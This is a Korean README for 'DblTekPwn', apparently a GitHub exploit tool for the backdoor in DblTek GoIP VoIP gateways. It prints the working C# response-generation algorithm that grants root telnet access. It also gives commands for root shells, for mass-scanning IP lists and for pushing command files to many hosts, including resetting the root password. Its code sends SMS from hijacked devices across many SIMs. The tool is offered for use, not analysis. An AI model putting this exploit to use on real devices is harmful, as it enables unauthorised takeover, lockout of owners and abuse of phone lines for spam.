
DblTek GoIP의 IP가 챌린지-응답 로그인 시스템에 취약한지 확인하고, 시스템에서 SMS 메시지를 보내고, 봇넷 스타일로 원격 명령을 실행하며, 챌린지에 대한 응답을 생성하는 도구.
취약한 DblTek GoIP 장치의 챌린지 응답 시스템을 악용하는 도구. 특정 챌린지에 대한 응답 생성, 호스트 취약점 테스트, 취약한 호스트에서 명령 실행, 호스트에서 SMS 메시지 전송, 취약한 호스트에서 루트 셸 획득이 가능합니다.
2017년 3월 2일, Trustwave는 보안 연구원들이 DblTek GoIP VoIP 전화기에서 발견한 취약점을 공개했습니다. 이 취약점은 'dbladm'이라는 계정을 위한 펌웨어의 백도어였습니다. 사용자가 telnet 프롬프트에 이 계정명을 입력하면 시스템이 챌린지를 제시하고, 올바른 응답을 제공하면 사용자에게 루트 셸을 부여했습니다.
이러한 챌린지 응답 시스템의 문제는 장치의 보안이 응답 생성 알고리즘에 달려 있다는 점이며, 이 알고리즘은 DblTek에서 제공한 펌웨어 바이너리에서 리버스 엔지니어링되었습니다. 이 알고리즘을 사용하면 모든 DblTek GoIP 장치에서 루트 셸을 획득할 수 있습니다.
원문 기사: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
기사에서 제공된 백도어 설명을 바탕으로, 이 취약점에 대한 최초의 익스플로잇 코드 중 일부를 작성할 수 있었습니다. 핵심은 물론 주어진 챌린지를 기반으로 응답을 생성하는 알고리즘입니다. 다음은 C#으로 작성된 이 함수입니다.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
인수 없이 DblTekPwn을 실행하면 도움말이 표시됩니다. 출력은 다음과 같습니다.
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.
[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.
DblTekGoIPPwn을 사용하면 취약한 시스템에서 루트 셸을 쉽게 획득할 수 있습니다. 취약한 IP를 사용하여 다음 명령을 실행하기만 하면 됩니다.
DblTekPwn.exe --root-shell --name 192.168.1.1
다음과 같은 출력이 표시됩니다.
Password: ***********
이제 명령 입력을 시작할 수 있습니다 (셸 프롬프트는 없습니다).
예를 들어 GoIP 챌린지 N1746203308에 대한 응답을 계산하려면 다음 명령을 실행하면 됩니다.
DblTekPwn --compute-response N1746203308
출력은 다음과 같은 응답이 됩니다.
d6176d3aab2
list.txt에 있는 IP 목록 중 취약한 GoIP를 확인하고 결과를 results.txt로 출력하려는 경우를 가정해 보겠습니다. 먼저 IP가 ip:port 형식(기본 포트는 23)이고, IP가 각각 새 줄로 구분되어 있는지 확인하십시오. 그런 다음 다음 명령을 실행할 수 있습니다.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
호스트 뒤의 False 또는 True는 해당 IP가 취약한지 여부를 나타냅니다.
cmds.txt에 명령 목록(실제로는 telnet 입력 목록)이 있고 이를 list.txt의 IP에 전송하며 결과를 results.txt로 보내려는 경우를 가정해 보겠습니다. 먼저 IP가 ip:port 형식(기본 포트는 23)이고, IP와 명령 모두 각각의 파일에서 새 줄 \n로 구분되어 있는지 확인하십시오. 그런 다음 다음 명령을 실행할 수 있습니다.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
호스트 뒤의 False 또는 True는 연결이 성공적으로 이루어졌고 명령이 전달되었는지 여부를 나타냅니다.
이 GitHub 리포지토리의 코드는 해킹된 GoIP에서 SMS(문자) 메시지를 전송하기 위한 추상화를 제공합니다. 이 코드를 사용하려면 애플리케이션에 DblTekPwn.exe를 포함하고 다음 using 문을 추가하십시오.
using DblTekPwn.SMS
이제 코드에서 정적 SmsSender.SendSms 메서드를 사용할 수 있습니다. 다음은 몇 가지 예제입니다.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
대부분의 GoIP에는 최대 32개의 SIM 카드가 장착되어 있어 해커가 모든 회선에서 SMS를 전송할 수 있습니다.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);